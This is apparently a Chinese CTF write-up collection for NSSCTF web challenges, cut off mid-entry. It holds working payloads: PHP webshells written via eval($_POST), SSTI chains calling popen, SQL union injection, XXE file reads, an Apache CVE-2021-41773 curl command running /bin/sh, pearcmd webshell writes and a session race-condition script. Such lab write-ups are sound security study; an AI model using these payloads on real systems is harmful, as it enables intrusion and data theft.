%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24____.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24____.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24____.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24____.%3D%24__%3B%24_%3D%24%24____%3B%24___(%24_%5B_%5D)%3B

post:

_=phpinfo();

先看phpinfo

发现禁用了大量函数

pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,ld,dl

然后写马

_=file_put_contents('1.php','<?php @eval($_POST["shell"]); ?>')

连蚁剑

image-20231020142912904

php5.6.40,连上后用插件绕过disable_functions,选ldpreload

image-20231020143151506

上传成功后直接去根目录获取flag


[NSSRound#8 Basic]MyDoor

任意文件包含+非法传参

进入题目,什么都没有

存在任意文件读取,先伪协议读一下index.php

?file=php://filter/read=convert.base64-encode/resource=index.php

base64解码一下

<?php
error_reporting(0);

if (isset($_GET['N_S.S'])) {
    eval($_GET['N_S.S']);
}

if(!isset($_GET['file'])) {
    header('Location:/index.php?file=');
} else {
    $file = $_GET['file'];

    if (!preg_match('/\.\.|la|data|input|glob|global|var|dict|gopher|file|http|phar|localhost|\?|\*|\~|zip|7z|compress/is', $file)) {
        include $file;
    } else {
        die('error.');
    }
}

直接看第一个if语句,非法传参命令执行即可

flag在phpinfo

?N[S.S=phpinfo();

[NCTF 2018]flask真香

ssti

尝试切换demo页面,出现报错

image-20231020150912261

测试存在ssti注入

image-20231020151015385

手动fuzz一下,发现过滤了class,getattr,builtins,import,os,open

可以用字符串拼接来绕过

{{""['__cla''ss__']}}

那么查找子类

{{""['__cla''ss__'].__bases__[0]['__subcla''sses__']()}}

找到其中的<class 'os._wrap_close'>类,不搓脚本的话善用ctrl+f找<

{{""['__cla''ss__'].__bases__[0]['__subcla''sses__']()[399]}}

然后命令执行即可

{{''['__cla''ss__'].__bases__[0]['__subcla''sses__']()[399].__init__.__globals__['pop''en']('ls /').read()}}

[SWPUCTF 2022 新生赛]webdog1__start

信息泄露+rce+md5弱比较

进入题目,ctrl+u查看页面源码,发现php源码

if (isset($_GET['web']))
{
    $first=$_GET['web'];
    if ($first==md5($first)) 

md5弱比较,自身和md5后都是0e开头的字符串是0e215962017

来到start.php,ctrl+u查看页面源码

image-20231020163528521

发现hint,应该是要我们看robots.txt

不知道为什么firefox这里中文乱码了,不过无所谓,告诉了我们下一步在f14g.php

访问/f14g.php,在响应头发现hint

image-20231020163826041

访问/F1l1l1l1l1lag.php,得到源码

<?php
error_reporting(0);
highlight_file(__FILE__);
if (isset($_GET['get'])){
    $get=$_GET['get'];
    if(!strstr($get," ")){
        $get = str_ireplace("flag", " ", $get);        
        if (strlen($get)>18){
            die("This is too long.");
            }            
            else{
                eval($get);
          } 
    }else {
        die("nonono"); 
    }
}
?> 

过滤了空格,用%09绕过

过滤了flag,用通配符*读

payload:

/F1l1l1l1l1lag.php?get=system('cat%09/f*');

prize_p5

反序列化字符串逃逸+原生类

<?php
error_reporting(0);

class catalogue{
    public $class;
    public $data;
    public function __construct()
    {
        $this->class = "error";
        $this->data = "hacker";
    }
    public function __destruct()
    {
        echo new $this->class($this->data);
    }
}
class error{
    public function __construct($OTL)
    {
        $this->OTL = $OTL;
        echo ("hello ".$this->OTL);
    }
}
class escape{                                                                   
    public $name = 'OTL';                                                 
    public $phone = '123666';                                             
    public $email = 'sweet@OTL.com';                          
}
function abscond($string) {
    $filter = array('NSS', 'CTF', 'OTL_QAQ', 'hello');
    $filter = '/' . implode('|', $filter) . '/i';
    return preg_replace($filter, 'hacker', $string);
}
if(isset($_GET['cata'])){
    if(!preg_match('/object/i',$_GET['cata'])){
        unserialize($_GET['cata']);
    }
    else{
        $cc = new catalogue(); 
        unserialize(serialize($cc));           
    }    
    if(isset($_POST['name'])&&isset($_POST['phone'])&&isset($_POST['email'])){
        if (preg_match("/flag/i",$_POST['email'])){
            die("nonono,you can not do that!");
        }
        $abscond = new escape();
        $abscond->name = $_POST['name'];
        $abscond->phone = $_POST['phone'];
        $abscond->email = $_POST['email'];
        $abscond = serialize($abscond);
        $escape = get_object_vars(unserialize(abscond($abscond)));
        if(is_array($escape['phone'])){
        echo base64_encode(file_get_contents($escape['email']));
        }
        else{
            echo "I'm sorry to tell you that you are wrong";
        }
    }
}
else{
    highlight_file(__FILE__);
}
?> 

出口在catalogue::__destruct中的echo new $this->class($this->data),很明显需要调用原生类

然后看一下下面对get传参的的过滤,过滤了object

那我们先用GlobIterator类来寻找一下flag

exp:

<?php
class catalogue{
    public $class;
    public $data;
    public function __construct()
    {
        $this->class = "GlobIterator";
        $this->data = "/*f*";
    }
    public function __destruct()
    {
        echo new $this->class($this->data);
    }
}
$a=new catalogue();
echo serialize($a);

可以读到根目录下存在/flag

image-20231021203800743

接下来就是要想办法读取flag,上面ban了object,意味着能读取文件的原生类像SplFileObject这样的无法使用

所以要用到post传参的语句

class escape{                                                                   
    public $name = 'OTL';                                                 
    public $phone = '123666';                                             
    public $email = 'sweet@OTL.com';                          
}
function abscond($string) {
    $filter = array('NSS', 'CTF', 'OTL_QAQ', 'hello');
    $filter = '/' . implode('|', $filter) . '/i';
    return preg_replace($filter, 'hacker', $string);
}

if(isset($_POST['name'])&&isset($_POST['phone'])&&isset($_POST['email'])){
        if (preg_match("/flag/i",$_POST['email'])){
            die("nonono,you can not do that!");
        }
        $abscond = new escape();
        $abscond->name = $_POST['name'];
        $abscond->phone = $_POST['phone'];
        $abscond->email = $_POST['email'];
        $abscond = serialize($abscond);
        $escape = get_object_vars(unserialize(abscond($abscond)));
        if(is_array($escape['phone'])){
        echo base64_encode(file_get_contents($escape['email']));
        }
        else{
            echo "I'm sorry to tell you that you are wrong";
        }
    }

很明显要利用最后的file_get_contents,让email=/flag

按照常规思路是要在phone变量构造使它多出来目标的email变量,但是这题的phone变量得是个数组

我们先本地测试一下

<?php
class escape
{
    public $name = '0w0';
    public $phone = ['NSS'];
    public $email = '/flag';
}
function abscond($string)
{
    $filter = array('NSS', 'CTF', 'OTL_QAQ', 'hello');
    $filter = '/' . implode('|', $filter) . '/i';
    return preg_replace($filter, 'hacker', $string);
}
$abscond = new escape();
$abscond = serialize($abscond);
echo $abscond;
echo "\n";
echo abscond($abscond);

得到

O:6:"escape":3:{s:4:"name";s:3:"0w0";s:5:"phone";a:1:{i:0;s:3:"NSS";}s:5:"email";s:5:"/flag";}
O:6:"escape":3:{s:4:"name";s:3:"0w0";s:5:"phone";a:1:{i:0;s:3:"hacker";}s:5:"email";s:5:"/flag";}

那我们的目标就是";}s:5:"email";s:5:"/flag";},共28个字符

用28个hello逃逸即可

exp:

<?php
class escape
{
    public $name = '0w0';
    public $phone = ['hellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohello";}s:5:"email";s:5:"/flag";}'];
    public $email = '';
}
function abscond($string)
{
    $filter = array('NSS', 'CTF', 'OTL_QAQ', 'hello');
    $filter = '/' . implode('|', $filter) . '/i';
    return preg_replace($filter, 'hacker', $string);
}
$abscond = new escape();
$abscond = serialize($abscond);
//echo $abscond;
//echo "\n";
echo abscond($abscond);
$escape = get_object_vars(unserialize(abscond($abscond)));
echo "\n".file_get_contents($escape['email']);

image-20231021210950863

本地测试成功,那么传参即可

payload:

GET:/?cata=
POST:name=0w0&phone[]=hellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohello";}s:5:"email";s:5:"/flag";}&email=

base64解码即可获得flag

非预期

我们可以用SplFileObject类来读文件,但是要对其中的object进行16进制编码,同时长度13前面的s要大写,这样就可以解析16进制了

payload:

?cata=O:9:"catalogue":2:{s:5:"class";S:13:"SplFileOb\6Aect";s:4:"data";s:5:"/flag";}

[SWPUCTF 2022 新生赛]funny_php

php特性

<?php
   session_start();
   highlight_file(__FILE__);
   if(isset($_GET['num'])){
       if(strlen($_GET['num'])<=3&&$_GET['num']>999999999){
           echo ":D";
            $_SESSION['L1'] = 1;
        }else{
            echo ":C";
        }
    }
    if(isset($_GET['str'])){
        $str = preg_replace('/NSSCTF/',"",$_GET['str']);
        if($str === "NSSCTF"){
            echo "wow";
            $_SESSION['L2'] = 1;
        }else{
            echo $str;
        }
    }
    if(isset($_POST['md5_1'])&&isset($_POST['md5_2'])){
        if($_POST['md5_1']!==$_POST['md5_2']&&md5($_POST['md5_1'])==md5($_POST['md5_2'])){
            echo "Nice!";
            if(isset($_POST['md5_1'])&&isset($_POST['md5_2'])){
                if(is_string($_POST['md5_1'])&&is_string($_POST['md5_2'])){
                    echo "yoxi!";
                    $_SESSION['L3'] = 1;
                }else{
                    echo "X(";
                }
            }
        }else{
            echo "G";
            echo $_POST['md5_1']."\n".$_POST['md5_2'];
        }
    }
    if(isset($_SESSION['L1'])&&isset($_SESSION['L2'])&&isset($_SESSION['L3'])){
        include('flag.php');
        echo $flag;
    }
?>

一步步来,首先是用科学计数法1e9绕过限制

然后因为会匹配并替换一次NSSCTF,这里直接双写绕过即可

接着是md5弱比较

payload:

GET: /?num=1e9&str=NSSNSSCTFCTF
POST: md5_1=QNKCDZO&md5_2=240610708

[NCTF 2018]滴!晨跑打卡

联合注入

随便查询一下,发现sql语句都给了

select * from pcnumber where id ='1'

注入点在id

fuzz一下,发现过滤了*--,空格

空格可以用%a0代替,用'闭合后面的语句

测试回显

?id=0'%a0union%a0select%a01,2,3,4'

image-20231021222604660

爆数据库

?id=0'%a0union%a0select%a01,2,database(),4'

得到数据库cgctf

爆表

?id=0'%a0union%a0select%a01,2,group_concat(table_name),4%a0from%a0information_schema.tables%a0where%a0table_schema="cgctf"'

得到表pcnumber

爆列名

?id=0'%a0union%a0select%a01,2,group_concat(column_name),4%a0from%a0information_schema.columns%a0where%a0table_name="pcnumber"'

得到列名id,bigtime,smalltime,flag

爆字段

?id=0'%a0union%a0select%a01,2,(select%a0group_concat(flag)from%a0pcnumber),4'

[BJDCTF 2020]ZJCTF,不过如此

<?php
error_reporting(0);
$text = $_GET["text"];
$file = $_GET["file"];
if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
    if(preg_match("/flag/",$file)){
        die("Not now!");
    }
    include($file);  //next.php
}
else{
    highlight_file(__FILE__);
}
?>

第一步可以用data伪协议,data伪协议可以作为文件内容来读取

第二步用php伪协议base64编码读取next.php

payload:

?text=data://text/plain,I have a dream&file=php://filter/read=convert.base64-encode/resource=next.php

next.php

<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;
function complex($re, $str) {
    return preg_replace(
        '/(' . $re . ')/ei',
        'strtolower("\\1")',
        $str
    );
}
foreach($_GET as $re => $str) {
    echo complex($re, $str). "\n";
}
function getFlag(){
	@eval($_GET['cmd']);
}

考了preg_replace和正则e模式的利用,参考SHCTF的ezphp(爹像儿子了属于是)

这里的匹配模式选择\S*,然后执行${phpinfo()}查看环境变量即可

payload:

/next.php?\S*=${phpinfo()}

[鹏城杯 2022]简单的php

无数字字母rce+无参rce

<?php
show_source(__FILE__);
    $code = $_GET['code'];
    if(strlen($code) > 80 or preg_match('/[A-Za-z0-9]|\'|"|`|\ |,|\.|-|\+|=|\/|\\|<|>|\$|\?|\^|&|\|/is',$code)){
        die(' Hello');
    }else if(';' === preg_replace('/[^\s\(\)]+?\((?R)?\)/', '', $code)){
        @eval($code);
    }
?>  

第一层过滤是无数字字母rce,第二层过滤是无参rce

php版本7.2.34,同时注意到限制了长度不能超过80,考虑getallheaders参数逃逸,这里用取反

注:固定写法,[!%FF]作为()的衔接,用二维数组进行拼接需要[!%FF]分割,[!%FF]是0的意思,因为前面是个数组,取里面的第0项才是木马

打印请求头print_r(getallheaders());

?code=[~%8F%8D%96%91%8B%A0%8D][!%ff]([~%98%9A%8B%9E%93%93%97%9A%9E%9B%9A%8D%8C][!%ff]());

image-20231022095657917

直接用next指向ua头伪造即可system(next(getallheaders()));

?code=[~%8C%86%8C%8B%9A%92][!%ff]([~%91%9A%87%8B][!%ff]([~%98%9A%8B%9E%93%93%97%9A%9E%9B%9A%8D%8C][!%ff]()));
User-Agent: ls /

image-20231022100033850


[GXYCTF 2019]BabySqli

sql注入union创建虚拟表

点击登录来到search.php

ctrl+u发现源码hint,base解码一下得到sql语句

select * from user where username = '$name'

是单引号闭合

fuzz一下,ban掉了or,(,),=,information_schema,order

测试了一下,发现在用户名为admin的时候才会返回wrong pass,用户名应该就是admin

然后测试列数,用大写替换就可以绕过order的过滤了

name=admin' ORDER by 1,2,3,4#

测试到4时报错,说明里面只有三列

接下来就是爆库了,但是过滤了括号,意味着函数基本上是用不了的

这个时候就要用union创建虚拟表(mysql的特性:参考https://c1oudfl0w0.github.io/blog/2023/08/05/ctfshow-%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1%E4%B8%93%E9%A2%98/#%E6%9E%84%E9%80%A0%E4%B8%B4%E6%97%B6%E7%94%A8%E6%88%B7)

本地测试:(我这边的表只有3列)

select * from user union select 1,2,3;

image-20231022104800438

可以看到最下面那行生成了我们自己定义好的数据,而这行数据是临时的,实际上没有保存在数据库中

而这题就是利用这个方法,我们已经知道了用户名admin,但是密码不知道,这时候就可以用union创建一个虚拟的数据,然后进行查询,这样就能返回正常值

本地测试:

select * from user union select "username","admin",1;#

image-20231022105128908

回到题目,测试的时候发现给pw传入一个数组会返回md5函数的报错信息,可知密码那部分需要进行md5加密

注意:后面创建了虚拟表,前面就不要再查admin了

payload:

name=1' union select 1,"admin","c4ca4238a0b923820dcc509a6f75849b"#&pw=1

[安洵杯 2020]Normal SSTI

ssti

按照要求传值

image-20231022105639028

明显存在ssti注入

fuzz脚本:

import requests

ssti_char = [
    "{{}}", "'", '"', '""', "_", "os", ".", "|attr", "[]", "request", "pop",
    "class", "bases", "mro", "subclasses", "globals", "init", "subprocess",
    "lipsum", "get", "set", "join"," "
]
url = "http://node4.anna.nssctf.cn:28483/test"
header = {
    'User-Agent':
    'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0',
    'Accept':
    'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
    'Accept-Language':
    'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
    'Accept-Encoding': 'gzip, deflate',
    'Content-Type': 'application/x-www-form-urlencoded'
}
for char in ssti_char:
    #post_data = "tt=1" + char  #+ "&username=1#"
    #res = requests.post(url, data=post_data, headers=header)
    get_data = "url=" + char
    res = requests.get(url, params=get_data)
    if 'do a real p1g' in res.text:
        print("不可用: {0}".format(char))
    else:
        print("可用: {0}".format(char))

fuzz一下,发现过滤了{{}}'""_.[]requestglobalssetget,空格

{{}}可以用{%print%}替换

.[]可以用|attr来调用方法:''|attr("__class__")等价于''.__class__xxx|attr("os")('xxx')等价于xxx.os('xxx')

下划线被过滤了,考虑用unicode编码绕过

过滤了成对引号的话,拿不到我们需要的subclasses,得用lipsum方法来命令执行:lipsum|attr("__globals__")

查找模块

/test?url={%print(lipsum|attr("\u005F\u005F\u0067\u006C\u006F\u0062\u0061\u006C\u0073\u005F\u005F"))%}

找到os模块

image-20231022113051299

获取os模块lipsum|attr("__globals__")|attr("get")("os")

/test?url={%print(lipsum|attr("\u005F\u005F\u0067\u006C\u006F\u0062\u0061\u006C\u0073\u005F\u005F")|attr("\u0067\u0065\u0074")("os"))%}

image-20231022113531268

获取popen方法并命令执行lipsum|attr("__globals__").get("os").popen("ls").read()

/test?url={%print(lipsum|attr("\u005F\u005F\u0067\u006C\u006F\u0062\u0061\u006C\u0073\u005F\u005F")|attr("\u0067\u0065\u0074")("os")|attr("popen")("ls")|attr("read")())%}

读到的app.py

from flask import Flask, request, render_template_string

app = Flask(__name__)

url_black_list = [
    "%1c", "%1d", "%1f", "%1e", "%20", "%2b", "%2c", "%3c", "%3e"
]
black_list = [
    "[", "]", "{{", "=", "_", "\\", '""', "\\x", "request", "config",
    "session", "url_for", "g", "get_flashed_messages", "*", "for", "if",
    "format", "list", "lower", "slice", "striptags", "trim", "xmlattr",
    "tojson", "set", "=", "chr"
]


@app.route("/", methods=["GET", "POST"])
def index():
    return "try to check /test?url=xxx"


@app.route("/test", methods=["GET"])
def testing():
    url = request.url
    for black in url_black_list:
        if black in url:
            return "<h1>do a real p1g</h1>"
    url = request.args.get("url")
    for black in black_list:
        if black in url:
            return "<h1>do a real p1g</h1>"
    return render_template_string("<h1>this is your url {}</h1>".format(url))


if __name__ == "__main__":
    app.run(host="0.0.0.0", port=8899, debug=True)

空格被过滤了,可以用%09绕过

flag和*被过滤了,可以用?通配符绕过

payload:

/test?url={%print(lipsum|attr("\u005F\u005F\u0067\u006C\u006F\u0062\u0061\u006C\u0073\u005F\u005F")|attr("\u0067\u0065\u0074")("os")|attr("popen")("cat%09/f???")|attr("read")())%}

[UUCTF 2022 新生赛]ez_upload

文件上传之AddHandler导致的解析漏洞

上传界面,测试了一下发现不能传.php后缀

然后看一下题目的环境版本Apache/2.4.10 (Debian)+PHP/5.6.28

我们知道这个版本是存在apache httpd解析漏洞的,三种解析漏洞测试过去之后发现只有AddHandler导致的解析漏洞能够成功解析

文件名.png.php

image-20231023111937735

然后就是命令执行了


[极客大挑战 2020]welcome

信息收集

一开始访问网页报405,还以为是环境坏了

回来看题目描述1.In addition to the GET request method, there is another common request method…

应该是让我们用post方式访问网页

抓包改为post请求再发包

得到源码

<?php
error_reporting(0);
if ($_SERVER['REQUEST_METHOD'] !== 'POST') {
header("HTTP/1.1 405 Method Not Allowed");
exit();
} else {
    
    if (!isset($_POST['roam1']) || !isset($_POST['roam2'])){
        show_source(__FILE__);
    }
    else if ($_POST['roam1'] !== $_POST['roam2'] && sha1($_POST['roam1']) === sha1($_POST['roam2'])){
        phpinfo();  // collect information from phpinfo!
    }
} 

接下来就是sha1强比较,直接数组绕过即可

payload:

roam1[]=1&roam2[]=2

在phpinfo里寻找有用的信息

image-20231023113112721

发现auto_prepend_file被设置为了f1444aagggg.php,即所有页面的顶部都require了个f1444aagggg.php

直接访问f1444aagggg.php,发现返回404

image-20231023113525086

逆天,最后在响应头里找到flag


[NSSRound#4 SWPU]ez_rce

CVE-2021-41773

vulhub上的漏洞利用:https://github.com/vulhub/vulhub/blob/master/httpd/CVE-2021-41773/README.zh-cn.md

进入题目,看到了Apache默认的It works!页面

先看server版本Apache/2.4.49 (Unix)

这个版本的服务器存在CVE-2021-41773

先尝试读取文件

curl -v --path-as-is http://node4.anna.nssctf.cn:28819/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd

返回403,看来是读不了

再测试是否存在命令执行

curl -v --data "echo;id" http://node4.anna.nssctf.cn:28819/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh

成功返回id

image-20231023114613851

那就直接命令执行

curl -v --data "echo;ls /" http://node4.anna.nssctf.cn:28819/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh

flag在/flag_is_here中,但是里面有一堆文件夹,这里需要用grep命令过滤一下

curl -v --data "echo;grep -r 'NSS' /flag_is_here" http://node4.anna.nssctf.cn:28819/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh

image-20231023115035517

得到flag


[SWPUCTF 2022 新生赛]ez_1zpop

反序列化

<?php
error_reporting(0);
class dxg
{
   function fmm()
   {
      return "nonono";
   }
}

class lt
{
   public $impo='hi';
   public $md51='weclome';
   public $md52='to NSS';
   function __construct()
   {
      $this->impo = new dxg;
   }
   function __wakeup()
   {
      $this->impo = new dxg;
      return $this->impo->fmm();
   }

   function __toString()
   {
      if (isset($this->impo) && md5($this->md51) == md5($this->md52) && $this->md51 != $this->md52)
         return $this->impo->fmm();
   }
   function __destruct()
   {
      echo $this;
   }
}

class fin
{
   public $a;
   public $url = 'https://www.ctfer.vip';
   public $title;
   function fmm()
   {
      $b = $this->a;
      $b($this->title);
   }
}

if (isset($_GET['NSS'])) {
   $Data = unserialize($_GET['NSS']);
} else {
   highlight_file(__file__);
}

出口在fin::fmm$b($this->title);

链子:lt::__destruct -> lt::__toString -> fin::fmm

PHP版本5.5.38,有cve-2016-7124绕过wakeup

md5弱比较

exp:

<?php
class dxg
{
}

class lt
{
    public $impo = 'hi';
    public $md51 = 'QNKCDZO';
    public $md52 = '240610708';
    function __construct()
    {
        $this->impo = new fin;
    }
}

class fin
{
    public $a = "system";
    public $url = 'https://www.ctfer.vip';
    public $title = "ls /";
}

$a = new lt();
echo serialize($a);
// O:2:"lt":3:{s:4:"impo";O:3:"fin":3:{s:1:"a";s:6:"system";s:3:"url";s:21:"https://www.ctfer.vip";s:5:"title";s:4:"ls /";}s:4:"md51";s:7:"QNKCDZO";s:4:"md52";s:9:"240610708";}

payload:

O:2:"lt":4:{s:4:"impo";O:3:"fin":3:{s:1:"a";s:6:"system";s:3:"url";s:21:"https://www.ctfer.vip";s:5:"title";s:4:"ls /";}s:4:"md51";s:7:"QNKCDZO";s:4:"md52";s:9:"240610708";}

[HZNUCTF 2023 preliminary]flask

ssti

进入题目,只告诉我们/?name=

尝试ssti注入{{7*7}},网页返回500,再尝试{%print(7*7)%},返回hello! }%)7*7(tnirp%{

明显是被逆序处理了,那我们尝试逆序传入{{7*7}},成功返回49

接下来我们直接测试payload,开个python终端把要传进去的payload字符串最后再加上个[::-1]即可逆序输出

>>> '{{"".__class__.__bases__[0].__subclasses__()}}'[::-1]

先找<class ‘os._wrap_close’>,注意由于html标签原因,这里要在ctrl+u里面才能查看

/?name=}})(__sessalcbus__.]0[__sesab__.__ssalc__.""{{

在第133个,直接命令执行

/?name=}})(daer.)"/ sl"(]"nepop"[__slabolg__.__tini__.]231[)(__sessalcbus__.]0[__sesab__.__ssalc__.""{{

最后发现flag在环境变量env里面


[UUCTF 2022 新生赛]ez_unser

反序列化绕过wakeup

<?php
show_source(__FILE__);

###very___so___easy!!!!
class test{
    public $a;
    public $b;
    public $c;
    public function __construct(){
        $this->a=1;
        $this->b=2;
        $this->c=3;
    }
    public function __wakeup(){
        $this->a='';
    }
    public function __destruct(){
        $this->b=$this->c;
        eval($this->a);
    }
}
$a=$_GET['a'];
if(!preg_match('/test":3/i',$a)){
    die("你输入的不正确!!!搞什么!!");
}
$bbb=unserialize($_GET['a']);

PHP版本5.6.28,但是底下正则把成员个数限死了不能修改

不过有$this->b=$this->c;,可以进行引用绕过,把a和b变成用同一个内存变量,所以给b赋值相当于给a赋值

exp:

<?php
class test
{
    public $a;
    public $b;
    public $c;
    public function __construct()
    {
        $this->a = 1;
        $this->b = 2;
        $this->c = "system('ls /');";
    }
}
$v = new test();
$v->b = &$v->a;
echo serialize($v);

[NCTF 2019]Fake XML cookbook

xxe

进入题目,是一个登录框,随便输个账号密码进去试试

返回报错

image-20231025102329807

是xml格式传输数据的,猜测在<username>处存在xxe注入

在/doLogin.php路由进行post传参

没做过滤,直接读flag就行

payload:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note [
  <!ENTITY xxe SYSTEM "file:///flag">
  ]>
<user><username>&xxe;</username><password>123456</password></user>

[SWPUCTF 2022 新生赛]Ez_upload

.htaccess文件上传

抓包改php后缀传马,返回后缀名不能有ph!

正常上传,发现要把Content-Type改为image/jpeg,png不行

测试一下几种后缀绕过的方法发现没用,考虑传.htaccess文件绕过

<FilesMatch "1.jpg">
Sethandler application/x-httpd-php
</FilesMatch>

然后上传图片马,测了半天发现文件内容好像过滤了php标签和一部分短标签

那就用script短标签绕过

<script language='php'> eval($_POST['cmd']);</script>

上传成功

直接命令执行即可

flag在phpinfo


[NSSRound#8 Basic]MyPage

文件包含/proc or pearcmd or session

进入题目,很明显能发现路由/index.php?file=存在任意文件包含

尝试php伪协议读取和写入一句话木马,失败,猜测是用了require_once()不能重复包含文件

这里有三种解决办法:

方法1:伪协议配合多级符号链接

参考文章:https://www.anquanke.com/post/id/213235

这里需要用cwd读当前目录来读取文件源码,因为/var/www/html被过滤了:

注:在POST处理数据的时候,某些WAF只处理8k的数据,后面的选择放过,这时候就可以用大量脏数据绕过,但GET型使用大量脏数据则会返回414 (Request-URI Too Long)

?file=php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/cwd/index.php

base64解码

<?php
error_reporting(0);

include 'flag.php';

if(!isset($_GET['file'])) {
    header('Location:/index.php?file=');
} else {
    $file = $_GET['file'];

    if (!preg_match('/\.\.|data|input|glob|global|var|dict|gopher|file|http|phar|localhost|\?|\*|\~|zip|7z|compress/is', $file)) {
        include_once $file;
    } else {
        die('error.');
    }
}

过滤了不少协议,还用了include_once

尝试直接读flag成功

?file=php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/cwd/flag.php

方法2:pearcmd

由于这题本质上就是个文件包含,虽然不知道php的配置register_argc_argv是否开启,但是php版本为PHP/7.2.34,pecl/pear是默认安装的,所以可以尝试用pearcmd来做

payload:

?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=@eval($_POST['cmd'])?>+/tmp/test.php

写入成功,注:用burpsuite发送这段payload,不然<>会被提前编码掉

image-20231025114543062

直接包含访问/tmp/test.php,命令执行

image-20231025114616733


方法3:session.upload_progress与Session文件包含

在上面那个方法读取phpinfo时,我们可以发现session.upload_progress.enable 这个选项是On

也就是说可以进行session文件包含,上传含有所需内容的session文件,然后利用条件竞争的方法利用该session文件

exp:

import threading
import requests
from concurrent.futures import ThreadPoolExecutor, wait
 
target = 'http://43.142.108.3:28104/'
session = requests.session()
flag = 'helloworld'

def upload(e: threading.Event):
    files = [
        ('file', ('load.png', b'a' * 40960, 'image/png')),
    ]
    data = {'PHP_SESSION_UPLOAD_PROGRESS': rf'''<?php file_put_contents('/tmp/success', '<?=phpinfo()?>'); echo('{flag}'); ?>'''} 
    while not e.is_set():
        requests.post(
            target,
            data=data,
            files=files,
            cookies={'PHPSESSID': flag},
        )
 
def write(e: threading.Event):
    while not e.is_set():
        response = requests.get(
            f'{target}?file=/tmp/sess_{flag}',
        ) 
        if flag.encode() in response.content:
            e.set()

if __name__ == '__main__':
    futures = []
    event = threading.Event()
    pool = ThreadPoolExecutor(15)
    for i in range(10):
        futures.append(pool.submit(upload, event)) 
    for i in range(5):
        futures.append(pool.submit(write, event)) 
    wait(futures)

然后访问/tmp/success即可

image-20231025115309146


[SWPUCTF 2021 新生赛]babyunser

phar反序列化文件上传

进入题目,给了我们两个按钮,分别是上传文件和查看文件

先去查看文件,读取一下几个页面的源码

index.php

<html>
<title>aa的文件管理器</title>
<body>
<h1>aa的文件管理器</h1>
<a href="upload.php">上传文件</a>
<br>
<br>
<a href="read.php">查看文件</a>
</body>
</html>

upload.php

<html>
<title>aa的文件上传器</title>
<body>
    <form action="" enctype="multipart/form-data" method="post">
        <p>请选择要上传的文件:<p>
            <input class="input_file" type="file" name="upload_file"/>
            <input class="button" type="submit" name="submit" value="上传"/>
    </form>
</body>
</html>

<?php
    if(isset($_POST['submit'])){
        $upload_path="upload/".md5(time()).".txt";
        $temp_file = $_FILES['upload_file']['tmp_name'];
        if (move_uploaded_file($temp_file, $upload_path)) {
            echo "文件路径:".$upload_path;
        } else {
            $msg = '上传失败';
        }
    }

可以看到这里会对上传的文件后面加上txt后缀,直接传马是不能解析的

read.php

<!DOCTYPE html>
